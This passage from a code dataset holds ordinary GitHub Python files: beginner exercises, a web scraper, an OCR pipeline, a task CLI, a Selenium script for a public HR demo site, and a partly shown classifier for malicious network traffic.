  return \"You've been hacked and your balance is \" + str(balance)\n    #     print(\"You've been hacked!\")\n    #     return \"You've been hacked!\"\n\n    # get balance in sub class overrode that in super class\n\n\n\n\naccount = BankAccount(100)\n# print(account.__dict__)  # takes instance of bank account and converts to dictionary\nprint(account.get_balance())\n\nprint(account.get_balance())\naccount.withdraw(50)\nprint(account.get_balance())\naccount.deposit(120)\nprint(account.get_balance())\n\n\naccount2 = BankAccount(0)\nprint(account2.get_balance())\n\n\naccount3 = SavingsAccount(1000, 0.05)\n\nprint(account3.get_balance())\naccount3.withdraw(454)\nprint(account3.get_balance())\naccount3.deposit(143)\nprint(account3.get_balance())\naccount3.compound_interest()\nprint(account3.get_balance())\naccount3.print_statement()\n","repo_name":"kariscourey/identifying-logic","sub_path":"problems/aug-ct-2022.py","file_name":"aug-ct-2022.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32080989062","text":"\"\"\"\nCreated on Oct 7, 2013\n\n@author: mmendez\n\"\"\"\n\nimport os\n\nfrom jinja2 import Environment, FileSystemLoader\nfrom ...model import comparisons as comparison_model\n\n\ndef comparisons(cfg, group_and_comparisons, comp_id):\n    template_folder = os.path.join(os.path.dirname(__file__), '..', '..', 'view')\n    env = Environment(loader=FileSystemLoader(template_folder))\n    template = env.get_template('default.tpl')\n\n    site = cfg['website'].copy()\n    if site['url'] == '.':\n        site['url'] = '..'\n\n    if not os.path.exists(os.path.join(cfg['website']['output'], \"comparisons\")):\n        os.makedirs(os.path.join(cfg['website']['output'], \"comparisons\"))\n\n    dataset_genes, g1_name, g2_name = comparison_model.comparison(cfg, group_and_comparisons, comp_id)\n\n    # check if there is results for this comparison and choose the right template\n    if sum([dataset['n_genes'] for dataset in dataset_genes]):\n        child_template = 'comparisons.tpl'\n    else:\n        child_template = 'comparison_empty.tpl'\n\n    output = template.render(dataset_genes=dataset_genes, group1_name=g1_name, group2_name=g2_name,\n                             site=site, tpl=child_template)\n\n    page_path = os.path.join(cfg['website']['output'], 'comparisons', str(comp_id) + \".html\")\n    print(page_path, \"generated\")\n    with open(page_path, \"wb\") as f:\n        f.write(output.encode(\"utf-8\"))\n","repo_name":"hoffmangroup/cla","sub_path":"claweb/claweb/controller/comparisons/comparisons.py","file_name":"comparisons.py","file_ext":"py","file_size_in_byte":1376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11172334533","text":"import random\nimport shutil\nimport os.path\nfrom os import mkdir\n\nfrom PyQt5.QtCore import QRunnable\n\n\nclass Distributor(QRunnable):\n\n    def __init__(self, progress, files, sourcePath, targetDirPath, instagramIdList):\n        QRunnable.__init__(self)\n        self.progress = progress\n        self.files = files\n        self.sourcePath = sourcePath\n        self.targetDirPath = targetDirPath\n        self.instagramIdList = instagramIdList\n\n    def run(self):\n        random.shuffle(self.files)\n\n        targetPaths = [self.targetDirPath + \"/\" + instagramId for instagramId in self.instagramIdList]\n        targetIndex = [0] * len(targetPaths)\n\n        try:\n            for path in targetPaths:\n                mkdir(path)\n        except FileExistsError:\n            self.progress.setText(\"실패 - 이미 폴더가 존재합니다.\")\n            return\n\n        i = 0\n        for file in self.files:\n            fileExtension = os.path.splitext(file)[1]\n            sourceFile = self.sourcePath + \"/\" + file\n            copyFile = targetPaths[i] + \"/\" + self.instagramIdList[i] + str(targetIndex[i]) + fileExtension\n            shutil.copy2(sourceFile, copyFile)\n            targetIndex[i] = targetIndex[i] + 1\n\n            i = (i + 1) % len(targetPaths)\n\n        self.progress.setText(\"완료\")\n","repo_name":"AmosDoan/imageDistributor","sub_path":"Distributor.py","file_name":"Distributor.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32772582770","text":"import csv\nimport pandas as pd\nfrom pathlib import Path\nimport json\n\npath_to_csv_xlsx = Path.cwd() / \"csv_xlsx_files\"\n# dump dict for biolegio linkers\nbiolegio_dict = {}\nwith open(path_to_csv_xlsx / \"Biolegio_linker_sequences.csv\", newline=\"\") as csv_file:\n    reader = csv.reader(csv_file)\n    for ind, line in enumerate(reader):\n        if ind != 0:\n            biolegio_dict[line[0]] = line[1].upper()\n# with open(\"biolegio.py\", \"w\") as write_file:\n#     json.dump(biolegio_dict, write_file)\n# dump dict for linker 96 plate layout\nLINKER_PLATE_LAYOUT = pd.read_excel(\n    path_to_csv_xlsx / \"BASIC_linker_Biolegio_96well_update191128.xlsx\",\n    sheet_name=\"plate layout linkers\",\n    usecols=\"A:B\",\n)\nLINKER_PLATE_LAYOUT = {\n    row[1][\"Well\"]: row[1][\"Linker\"] for row in LINKER_PLATE_LAYOUT.iterrows()\n}\nwith open(\"linker_plate_layout.txt\", \"w\") as write_file:\n    json.dump(LINKER_PLATE_LAYOUT, write_file, indent=4)\n","repo_name":"LondonBiofoundry/basicsynbio","sub_path":"scripts_nbs/linker_script.py","file_name":"linker_script.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"71976333201","text":"import requests\nfrom bs4 import BeautifulSoup\nimport datetime\n\nimport check_mail\nimport send_email\n\n\ndef go():\n    # ===================================================\n    # 메일에 들어갈 내용\n    mail_body = {}\n    # 오늘날짜\n    today = datetime.datetime.now()\n\n    # ===================================================\n\n    # 사이트 접속------------------------------------\n    req = requests.get('https://100lifeplan.fss.or.kr/main/main.do')\n    html = req.text\n\n    # 데이터 수집------------------------------------\n    soup = BeautifulSoup(html, 'html.parser')\n    div = soup.find('div')\n    # 공지 세부 페이지 접속을 위해 공지사항 제목을 모두 찾아서 한번씩 접속해보기\n    try:\n        title = div.find_all('p', {'class': 'tit'})[0].text.strip()\n    except:\n        return check_mail.check('통합연금포털', {})\n    content = str(BeautifulSoup(\n        str(div.find_all('div', {'class': 'text'})[0])\n        .replace(\"<br/>\", \"꿻\"), 'html.parser').get_text())\\\n        .replace(\"꿻\", \"<br/>\")\\\n        .replace(\"년 \", \".\")\\\n        .replace(\"월 \", \".\")\\\n        .replace(\"일(\", \"(\")\\\n        .replace(\".시\", \"일 시\")\\\n        .split(\"-\")[1]\\\n        .replace(\" 일 시\", \"▷ 일 시\")\n    today = str(today).replace(\"-\", \".\").split(\" \")\n    mail_body[title] = content\n    # 오늘이면 전송합니다.\n    if today[0] in content:\n        mail_body[title] = content\n        return check_mail.check('통합연금포털', mail_body)\n    return check_mail.check('통합연금포털', {})","repo_name":"maetdori/scraping-test","sub_path":"gygd.py","file_name":"gygd.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28025956721","text":"from bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\n# Step 1 url request\n\ntry:\n    source = requests.get('https://www.imdb.com/chart/top/')\n    source.raise_for_status()\n\n# Step 2 fetching html content\n\n    soup = BeautifulSoup(source.text,'html.parser')\n\n    movies = soup.find('tbody', class_=\"lister-list\").find_all('tr')\n\n\n    for movie in movies:\n\n\n         name = movie.find('td',class_=\"titleColumn\").a.text\n\n         rank = movie.find('td',class_=\"titleColumn\").get_text(strip=True).split('.')[0]\n\n         year = movie.find('td',class_=\"titleColumn\").span.text.strip('()')\n\n         rating = movie.find('td',class_=\"ratingColumn imdbRating\").strong.text\n\n         print(rank ,name ,year ,rating)\n\nexcept Exception as e:\n    print(e)\n\ndata = {\"name\": [name], \"rank\": [rank], \"year\": [year], \"rating\": [rating]}\ndf = pd.DataFrame(data)\nprint(df)","repo_name":"DipeshKhichada/Projects","sub_path":"scrapeIMDB.py","file_name":"scrapeIMDB.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37954031021","text":"from django.contrib import admin\n\nfrom ..models import ConsultantGroup\n\n\nclass ConsultAdmin(admin.ModelAdmin):\n    list_display = (\n        \"id\",\n        \"chat_id\",\n        \"chanel_id\",\n        \"created_at\",\n        \"updated_at\",\n    )\n\n\n# Register your models here.\nadmin.site.register(ConsultantGroup, ConsultAdmin)\n","repo_name":"SashaLimkov/GameStoreBot","sub_path":"src/store/admin/Consult.py","file_name":"Consult.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74374689362","text":"import pytest\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import train_test_split\nimport ConfigSpace as CS\nimport ConfigSpace.hyperparameters as CSH\nimport sys\nimport os\ncwd = os.getcwd()\nsys.path.insert(0, cwd + \"/src\")\n\nfrom custom_anchor import TabularAnchor\nfrom explainer import Explainer, generate_rules_for_instance\n\n\n\n@pytest.fixture(scope=\"session\")\ndef prepared_data():\n    print(\"Preparing data...\")\n    data = pd.read_csv(\"data/wheat_seeds.csv\")\n    X_df = data.drop(columns=[\"Type\"])\n    X = data.drop(columns=[\"Type\"]).to_numpy()\n    y = data[\"Type\"].to_numpy()\n    instance = X[3].reshape(1, -1)\n    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42, stratify=y)\n    \n    # prepare model\n    print(\"Preparing classifier...\")\n    model = RandomForestClassifier(n_estimators=10)\n    model.fit(X_train, y_train)\n    preds = model.predict(X_test)\n    print(sum(preds == y_test) / len(y_test))\n\n    prepared = {}\n    prepared[\"model\"] = model\n    prepared[\"X\"] = X_df\n    prepared[\"instance\"] = instance\n    return prepared\n\ndef test_empty_anchor_coverage(prepared_data):\n    X = prepared_data[\"X\"]\n    exp = Explainer(X)\n    anchor = TabularAnchor(exp.cs, exp.features)\n    assert anchor.compute_coverage(prepared_data[\"X\"]) == 1\n\ndef test_generate_candidates(prepared_data):\n    # test whether rules are added correctly\n    exp = Explainer(prepared_data[\"X\"])\n    anchor = TabularAnchor(exp.cs, exp.features)\n    rules = [(exp.features[0], \">=\", 0), (exp.features[1], \">=\", 1)]\n    candidates = exp.generate_candidates(anchor, rules)\n    assert len(candidates) == len(rules)\n\n    # tests whether rules for features that already exist are skipped\n    anchor = TabularAnchor(exp.cs, exp.features)\n    anchor.add_rule((exp.features[0], \">=\", 0))\n    rules = [(exp.features[0], \"<=\", 1), (exp.features[1], \">=\", 1)]\n    candidates = exp.generate_candidates(anchor, rules)\n    assert len(candidates) == len(rules) - 1\n\ndef test_sampling_instance(prepared_data):\n    # test for correct order of features by checking feature range\n    X = prepared_data[\"X\"]\n    exp = Explainer(X)\n    anchor = TabularAnchor(exp.cs, exp.features)\n    x = anchor.sample_instance()\n    assert x.shape == (1, len(exp.features))\n    for f,i in exp.feature2index.items():\n        assert x[0][i] >= X[f].min()\n        assert x[0][i] <= X[f].max()\n    \n\ndef test_rule_generation(prepared_data):\n    # test rule generation for given instance and quantiles\n    exp = Explainer(prepared_data[\"X\"])\n    instance = prepared_data[\"instance\"]\n    # [[13.84   13.94    0.8955  5.324   3.379   2.259   4.805 ]]\n    # Quantiles:\n    # Area [12.33  14.43  17.455]\n    # Perimeter [13.47  14.37  15.805]\n    # Compactness [0.8571 0.8734 0.8868]\n    # Kernel.Length [5.267 5.541 6.002]\n    # Kernel.Width [2.9545 3.245  3.5645]\n    # Asymmetry.Coeff [2.57  3.631 4.799]\n    # Kernel.Groove [5.046 5.228 5.879]\n    want_rules = [\n        (\"Area\", \">=\", 12.33),\n        (\"Area\", \"<=\", 14.43),\n        (\"Area\", \">=\", 12.33,\"<=\", 14.43),\n        (\"Perimeter\", \">=\", 13.47),\n        (\"Perimeter\", \"<=\", 14.37),\n        (\"Perimeter\", \">=\", 13.47,\"<=\", 14.37),\n        (\"Compactness\", \">=\", 0.8868),\n        (\"Kernel.Length\", \">=\", 5.267),\n        (\"Kernel.Length\", \"<=\", 5.541),\n        (\"Kernel.Length\", \">=\", 5.267,\"<=\", 5.541),\n        (\"Kernel.Width\", \">=\", 3.245),\n        (\"Kernel.Width\", \"<=\", 3.5645),\n        (\"Kernel.Width\", \">=\", 3.245,\"<=\", 3.5645),\n        (\"Asymmetry.Coeff\", \"<=\", 2.57),\n        (\"Kernel.Groove\", \"<=\", 5.046)\n    ]\n    got_rules = generate_rules_for_instance(exp.quantiles, instance, exp.feature2index)\n    assert len(got_rules) == len(want_rules)\n    for r in got_rules:\n        l = list(r)\n        l[2] = round(l[2], 4)\n        got_rules[got_rules.index(r)] = tuple(l)\n    for r in want_rules:\n        assert r in got_rules\n\n\ndef test_add_rule(prepared_data):\n    # test adding rules to anchor\n    exp = Explainer(prepared_data[\"X\"])\n    anchor = TabularAnchor(exp.cs, exp.features)\n    anchor.add_rule((exp.features[1], \">=\", 2))\n    hp = anchor.cs.get_hyperparameter(exp.features[1])\n    assert len(anchor.gt) == 1\n    assert hp.lower == 2\n    assert isinstance(hp, CSH.UniformFloatHyperparameter)\n\n    anchor.add_rule((exp.features[0], \">=\", 2, \"<=\", 3))\n    hp = anchor.cs.get_hyperparameter(exp.features[0])\n    assert len(anchor.gt) == 2 and len(anchor.lt) == 1\n    assert hp.lower == 2 and hp.upper == 3\n    assert isinstance(hp, CSH.UniformFloatHyperparameter)\n\n    hp = anchor.cs.get_hyperparameter(exp.features[2])\n    assert hp.lower == prepared_data[\"X\"][exp.features[2]].min()\n\ndef test_instance_satisfies_anchor_bottomup(prepared_data):\n    exp = Explainer(prepared_data[\"X\"])\n    anchor = exp.explain_bottom_up(prepared_data[\"instance\"], prepared_data[\"model\"], tau=0.95)\n    assert anchor.is_satisfied(prepared_data[\"instance\"])\n    assert anchor.mean > 0.95\n    assert len(anchor.rules) > 1\n    \ndef test_instance_satisfies_anchor_beam(prepared_data):\n    exp = Explainer(prepared_data[\"X\"])\n    anchor = exp.explain_beam_search(prepared_data[\"instance\"], prepared_data[\"model\"], B=3, tau=0.95)\n    assert anchor.is_satisfied(prepared_data[\"instance\"])\n    assert anchor.mean > 0.95\n    assert len(anchor.rules) > 1\n\n\ndef test_instance_satisfies_bayesian_optimization(prepared_data):\n    exp = Explainer(prepared_data[\"X\"])\n    anchor = exp.explain_bayesian_optimiziation(prepared_data[\"instance\"], prepared_data[\"model\"], evaluations=30, tau=0.7)\n    assert anchor.is_satisfied(prepared_data[\"instance\"])\n    assert anchor.mean > 0.7\n    assert len(anchor.rules) > 1\n","repo_name":"rhotertj/anchors","sub_path":"tests/test_anchors.py","file_name":"test_anchors.py","file_ext":"py","file_size_in_byte":5678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31921743677","text":"import argparse\nimport json\nimport logging\nimport os\nimport re\nimport sys\nimport tempfile\n\nimport tensorflow as tf\nfrom wand.image import Image\n\nfrom google.cloud import storage, bigquery, vision\n\n# TODO: Use tf.file_io --> removes the need to get bucket name.\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\ndef png2txt(png_path, txt_path, storage_client, service_acct):\n  \"\"\"convert the png file to txt using OCR.\"\"\"\n\n  vision_client = vision.ImageAnnotatorClient.from_service_account_file(\n    service_acct)\n\n  image = vision.types.Image()\n\n  logger.info(\"OCR processing {}\".format(png_path))\n  image.source.image_uri = png_path\n  response = vision_client.text_detection(image=image)\n\n  text = response.text_annotations[0].description\n  tmp_filename = txt_path.split(\"/\")[-1]\n\n  temp_txt = \"tmp/{}\".format(tmp_filename)\n  with open(temp_txt, \"w\") as f:\n    f.write(text)\n    f.close()\n\n  logger.info(\"Writing txt at: {}\".format(txt_path))\n  match = re.match(r\"gs://([^/]+)/(.+)\", txt_path)\n  new_bucket_name = match.group(1)\n  new_file_name = match.group(2)\n  new_blob = storage_client.get_bucket(new_bucket_name).blob(new_file_name)\n  new_blob.upload_from_filename(temp_txt)\n\n\ndef pdf2png2txt(current_blob,\n                png_path,\n                txt_path,\n                storage_client,\n                service_acct,\n                log_file):\n  \"\"\"convert the given file using ImageMagick.\"\"\"\n\n  # Create temp directory & all intermediate directories\n  temp_directory = \"./tmp/google\"\n  if not os.path.exists(temp_directory):\n    os.makedirs(temp_directory)\n\n  file_name = current_blob.name\n  handler, temp_local_filename = tempfile.mkstemp(dir=\"tmp/\")\n\n  current_blob.download_to_filename(temp_local_filename)\n  try:\n    with Image(filename=temp_local_filename, resolution=300) as img:\n      with img.convert(\"png\") as converted:\n        converted.save(filename=temp_local_filename.replace(\".pdf\",\n                                  \".png\"))\n  except:\n    logger.warning(\"Image seems corrupted: {}\".format(file_name))\n    log_file.write(file_name)\n    return\n\n  match = re.match(r\"gs://([^/]+)/(.+)\", png_path)\n  new_bucket_name = match.group(1)\n  new_file_name = match.group(2)\n  new_blob = storage_client.get_bucket(new_bucket_name).blob(new_file_name)\n  new_blob.upload_from_filename(temp_local_filename)\n\n  #Convert png to txt\n  png2txt(png_path=png_path,\n    txt_path=txt_path,\n    storage_client=storage_client,\n    service_acct=service_acct)\n\n  # Delete the temporary file.\n  os.remove(temp_local_filename)\n\n\ndef convert_pdfs(main_project_id,\n                 demo_dataset,\n                 input_path,\n                 service_acct):\n  \"\"\"Converts pdfs to png.\n\n  Args:\n    input_path: Folder containing the pdfs (e.g. gs://...)\n    service_account: API key needed to access Cloud storage\n  \"\"\"\n\n  # Set up client for BigQuery and GCS.\n  storage_client = storage.Client.from_service_account_json(\n    service_acct)\n  bq_client = bigquery.Client.from_service_account_json(\n    service_acct)\n\n  # Create the BQ dataset to collect prediction results\n  bq_client = bigquery.Client.from_service_account_json(\n    service_acct)\n  dataset_id = \"{}.{}\".format(bq_client.project, demo_dataset)\n  dataset = bigquery.Dataset(dataset_id)\n  dataset.location = \"US\"\n\n  # Check to see if the BQ dataset already exists before creating\n  all_datasets = list(bq_client.list_datasets())\n  if all_datasets:\n    all_dataset_ids = [dataset.dataset_id for dataset in all_datasets]\n    if demo_dataset in all_dataset_ids:\n      logger.error(f\"The dataset named {demo_dataset} already exists in project {main_project_id}.\")\n      logger.info(f\"Enter a different dataset id in the config file or delete the existing '{demo_dataset}' dataset.\")\n      sys.exit()\n  \n  dataset = bq_client.create_dataset(dataset)  # API request\n  logger.info(\"Created dataset {}.{} to collect results.\".format(bq_client.project, dataset.dataset_id))\n\n  # Process sample patent pdfs\n  input_bucket_name = input_path.replace(\"gs://\", \"\").split(\"/\")[0]\n  bucket = storage_client.get_bucket(input_bucket_name)\n  \n  folder_to_enumerate = input_path.replace(input_bucket_name + \"/\", \"\").replace(\"gs://\", \"\")\n  \n  png_output_folder = f\"gs://{input_bucket_name}/{demo_dataset}/png\"\n  txt_output_folder = f\"gs://{input_bucket_name}/{demo_dataset}/txt\"\n\n  log_file_path = os.path.join(png_output_folder, \"corrupted_files.txt\")\n  log_file = tf.io.gfile.GFile(log_file_path, \"w\")\n\n  for blob in bucket.list_blobs(prefix=folder_to_enumerate):\n    if (blob.name.endswith(\".pdf\")):\n      logger.info(\"Converting pdf: {}\".format(blob.name))\n      current_blob = storage_client.get_bucket(input_bucket_name).get_blob(blob.name)\n      png_path = os.path.join(\n        png_output_folder,\n        os.path.basename(blob.name).replace(\".pdf\", \".png\"))\n      txt_path = os.path.join(\n        txt_output_folder,\n        os.path.basename(blob.name).replace(\".pdf\", \".txt\"))\n      logger.info(\"Writing png at: {}\".format(png_path))\n      pdf2png2txt(current_blob=current_blob,\n        png_path=png_path,\n        txt_path=txt_path,\n        storage_client=storage_client,\n        service_acct=service_acct,\n        log_file=log_file)\n  log_file.close()\n","repo_name":"gautamvr/DocumentProcessor_GCP","sub_path":"pdf2png.py","file_name":"pdf2png.py","file_ext":"py","file_size_in_byte":5226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"20516143676","text":"import contextlib\nimport os\n\nimport click\nimport api\nfrom api import Task\n\n\n@click.group(context_settings={'help_option_names': ['-h', '--help']})\n@click.version_option(version='0.1.0')\ndef task_cli():\n    \"\"\"Run the tasks application\"\"\"\n\n\n@task_cli.command()\n@click.argument('summary')\n@click.option('-o', '--owner', default=None, help='set the task owner')\ndef add(summary, owner):\n    with _task_db():\n        api.add(Task(summary, owner))\n\n\n@contextlib.contextmanager\ndef _task_db():\n    api.start_task_db(os.path.join('~', 'data', 'db'), 'mongo')\n    yield\n    api.stop_tasks_db()\n\n\n@task_cli.command(help=\"add a task\")\n@click.argument('summary')\n@click.option('-o', '--owner', default=None,\n              help='set the task owner')\ndef add(summary, owner):\n    \"\"\"Add a task to db.\"\"\"\n    with _task_db():\n        api.add(Task(summary, owner))\n\n\n@task_cli.command(help=\"delete a task\")\n@click.argument('task_id', type=int)\ndef delete(task_id):\n    \"\"\"Remove task in db with given id.\"\"\"\n    with _task_db():\n        api.delete(task_id)\n\n\n@task_cli.command(name=\"list\", help=\"list tasks\")\n@click.option('-o', '--owner', default=None,\n              help='list tasks with this owner')\ndef list_tasks(owner):\n    \"\"\"\n    List tasks in db.\n    If owner given, only list tasks with that owner.\n    \"\"\"\n    formatstr = \"{: >4} {: >10} {: >5} {}\"\n    print(formatstr.format('ID', 'owner', 'done', 'summary'))\n    print(formatstr.format('--', '-----', '----', '-------'))\n    with _task_db():\n        for t in api.list_tasks(owner):\n            done = 'True' if t.done else 'False'\n            owner = '' if t.owner is None else t.owner\n            print(formatstr.format(\n                t.id, owner, done, t.summary))\n\n\n@task_cli.command(help=\"update task\")\n@click.argument('task_id', type=int)\n@click.option('-o', '--owner', default=None,\n              help='change the task owner')\n@click.option('-s', '--summary', default=None,\n              help='change the task summary')\n@click.option('-d', '--done', default=None,\n              type=bool,\n              help='change the task done state (True or False)')\ndef update(task_id, owner, summary, done):\n    \"\"\"Modify a task in db with given id with new info.\"\"\"\n    with _task_db():\n        api.update(task_id, Task(summary, owner, done))\n\n\n@task_cli.command(help=\"list count\")\ndef count():\n    \"\"\"Return number of tasks in db.\"\"\"\n    with _task_db():\n        c = api.count()\n        print(c)\n\n\nif __name__ == '__main__':\n    task_cli()\n","repo_name":"pawelszopa/test_tasks_pytest","sub_path":"src/tasks/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18600976820","text":"from selenium import webdriver\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.common.by import By\r\n\r\n\r\nsite_url = \"https://opensource-demo.orangehrmlive.com\"\r\nchrome_path = \"D:\\Development\\driver\\Chrome\\chromedriver.exe\"\r\nusername = \"Admin\"\r\npassword = \"admin123\"\r\n\r\nserv_obj = Service(chrome_path)\r\n\r\ndriver = webdriver.Chrome(service=serv_obj)\r\ndriver.implicitly_wait(5)\r\ndriver.maximize_window()\r\ndriver.get(site_url)\r\n\r\n#Login\r\ndriver.find_element(By.ID, \"txtUsername\").send_keys(username)\r\ndriver.find_element(By.ID, \"txtPassword\").send_keys(password)\r\ndriver.find_element(By.NAME, \"Submit\").click()\r\n\r\n#Admin -> user management -> users\r\ndriver.find_element(By.XPATH, '//*[@id=\"menu_admin_viewAdminModule\"]/b').click()\r\ndriver.find_element(By.ID, 'menu_admin_UserManagement').click()\r\ndriver.find_element(By.ID, 'menu_admin_viewSystemUsers').click()\r\n\r\n# Managing the table\r\nnoOfRows = len(driver.find_elements(By.XPATH, \"//table/tbody/tr\"))\r\n# noOfColumns = len(driver.find_elements(By.XPATH, \"//table/tbody/tr[1]/td\"))\r\nprint(\"Number of rows in the table:\", noOfRows)\r\n\r\nenabled = 0\r\ndisable = 0\r\nfor i in range(1, noOfRows+1):\r\n    status = driver.find_element(By.XPATH, f\"//table/tbody/tr[{i}]/td[5]\")\r\n    if status.text == \"Enabled\":\r\n        enabled += 1\r\n    else:\r\n        disable += 1\r\nprint(f\"Number of Enabled: {enabled}\\nNumber of Disabled: {disable}\\nTotal: {enabled+disable}\")\r\n\r\n# Assignment\r\n# Check if the user is enabled(Status) and ESS(user role) then get the user data:\r\nslNo = 0\r\nfor i in range(1, noOfRows+1):\r\n    status = driver.find_element(By.XPATH, f\"//table/tbody/tr[{i}]/td[5]\").text == \"Enabled\"\r\n    if status:\r\n        userRole = driver.find_element(By.XPATH, f\"//table/tbody/tr[{i}]/td[3]\").text == \"ESS\"\r\n        if userRole:\r\n            slNo += 1\r\n            userName = driver.find_element(By.XPATH, f\"//table/tbody/tr[{i}]/td[2]\").text\r\n            empName = driver.find_element(By.XPATH, f\"//table/tbody/tr[{i}]/td[4]\").text\r\n            print(f\"{slNo}. Username: {userName}, Employee Name: {empName}, User Role: ESS\")\r\n\r\ndriver.quit()\r\n\r\n\r\n","repo_name":"gokuldevp/Selenium-Using-Python","sub_path":"Session 9/dynamicwebtable.py","file_name":"dynamicwebtable.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"70972454481","text":"# -*- coding:utf-8 -*-\nimport torch \nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .model import MLP\nimport sys, os\nimport numpy as np\nfrom tqdm import tqdm\n\nfrom .loss import loss_coteaching\n\n# Hyper Parameters\nbatch_size = 128\nlearning_rate = 1e-3\nepochs = 500\nnum_gradual = 10\nforget_rate = 0.1\nexponent = 1\nrate_schedule = np.ones(epochs) * forget_rate\nrate_schedule[:num_gradual] = np.linspace(0, forget_rate ** exponent, num_gradual)\n\ndef accuracy(logit, target):\n    \"\"\"Computes the precision@k for the specified values of k\"\"\"\n    output = F.softmax(logit, dim=1)\n    batch_size = target.size(0)\n\n    _, pred = output.topk(1, 1, True, True)\n    pred = pred.t()\n    correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n    correct_k = correct[:1].view(-1).float().sum(0, keepdim=True)\n    return correct_k.mul_(100.0 / batch_size)\n\n# Train the Model\ndef train(train_loader, epoch, model1, optimizer1, model2, optimizer2, device):\n    \n    train_total1=0\n    train_correct1=0 \n    train_total2=0\n    train_correct2=0 \n\n    for i, data_labels in enumerate(train_loader):\n        \n        feats = data_labels[:, :-1].to(dtype=torch.float32)\n        labels = data_labels[:, -1].to(dtype=int)\n        if device != None:\n            torch.cuda.set_device(device)\n            feats = feats.cuda()\n            labels = labels.cuda()\n    \n        logits1 = model1(feats)\n        prec1 = accuracy(logits1, labels)\n        train_total1 += 1\n        train_correct1 += prec1\n\n        logits2 = model2(feats)\n        prec2 = accuracy(logits2, labels)\n        train_total2 += 1\n        train_correct2 += prec2\n        loss_1, loss_2 = loss_coteaching(logits1, logits2, labels, rate_schedule[epoch])\n\n        optimizer1.zero_grad()\n        loss_1.backward()\n        optimizer1.step()\n        optimizer2.zero_grad()\n        loss_2.backward()\n        optimizer2.step()\n\n    train_acc1=float(train_correct1)/float(train_total1)\n    train_acc2=float(train_correct2)/float(train_total2)\n    return train_acc1, train_acc2\n\n# predict unknown traffic data's label\ndef predict(test_loader, model, device, alpha=0.5):\n\n    preds = []\n    for i, data in enumerate(test_loader):\n        \n        # Forward + Backward + Optimize\n        feats = data.to(dtype=torch.float32)\n        \n        if device != None:\n            torch.cuda.set_device(device)\n            feats = feats.cuda()\n        \n        logits = model(feats)\n        outputs = F.softmax(logits, dim=1)\n        preds.append((outputs[:, 1] > alpha).detach().cpu().numpy())\n\n    return np.concatenate(preds, axis=0)\n\ndef main(feat_dir, model_dir, result_dir, TRAIN, cuda_device, parallel=5):\n    \n    cuda_device = int(cuda_device)\n    # get the origin training set\n    be = np.load(os.path.join(feat_dir, 'be.npy'))[:, :32]\n    ma = np.load(os.path.join(feat_dir, 'ma.npy'))[:, :32]\n    be_shape = be.shape[0]\n    ma_shape = ma.shape[0]\n\n    for index in range(parallel):\n\n        # add synthesized traffic features into the origin training set\n        be_gen = np.load(os.path.join(feat_dir, 'be_%s_generated_GAN_%d.npy' % (TRAIN, index)))\n        ma_gen1 = np.load(os.path.join(feat_dir, 'ma_%s_generated_GAN_1_%d.npy' % (TRAIN, index)))\n        ma_gen2 = np.load(os.path.join(feat_dir, 'ma_%s_generated_GAN_2_%d.npy' % (TRAIN, index)))\n        np.random.shuffle(be_gen)\n        np.random.shuffle(ma_gen1)\n        np.random.shuffle(ma_gen2)\n        be = np.concatenate([\n            be, \n            be_gen[:be_shape // (parallel)], \n        ], axis=0)\n        \n        ma = np.concatenate([\n            ma,\n            ma_gen1[:ma_shape // (parallel)],\n            ma_gen2[:ma_shape // (parallel)],\n        ], axis=0)\n\n    train_data = np.concatenate([be, ma], axis=0)\n    train_label = np.concatenate([np.zeros(be.shape[0]), np.ones(ma.shape[0])], axis=0)\n    train_dataset = np.concatenate((train_data, train_label[:, None]), axis=1)\n\n    test_data = np.load(os.path.join(feat_dir, 'test.npy'))[:, :32]\n\n    device = int(cuda_device) if cuda_device != 'None' else None\n    # define drop rate schedule\n\n    if device != None:\n        torch.cuda.set_device(device)\n    # Data Loader (Input Pipeline)\n    print('loading dataset...')\n    train_loader = torch.utils.data.DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True)\n    # Define models\n    print('building model...')\n    mlp1 = MLP(input_size=32, hiddens=[16, 8], output_size=2, device=device)\n    if device != None:\n        mlp1.to_cuda(device)\n        mlp1 = mlp1.cuda()\n    optimizer1 = torch.optim.Adam(mlp1.parameters(), lr=learning_rate)\n    \n    mlp2 = MLP(input_size=32, hiddens=[16, 8], output_size=2, device=device)\n    if device != None:\n        mlp2.to_cuda(device)\n        mlp2 = mlp2.cuda()\n    optimizer2 = torch.optim.Adam(mlp2.parameters(), lr=learning_rate)\n\n    epoch=0\n    mlp1.train()\n    mlp2.train()\n    for 